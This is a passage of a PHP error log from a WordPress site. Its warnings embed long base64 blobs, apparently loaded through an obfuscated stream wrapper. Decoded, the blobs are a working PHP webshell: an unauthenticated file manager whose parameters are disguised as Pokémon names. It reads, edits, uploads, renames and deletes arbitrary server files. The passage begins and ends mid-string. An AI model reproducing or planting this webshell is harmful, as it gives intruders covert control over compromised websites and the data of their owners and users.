bGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1538
[03-Jun-2026 20:56:02 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmR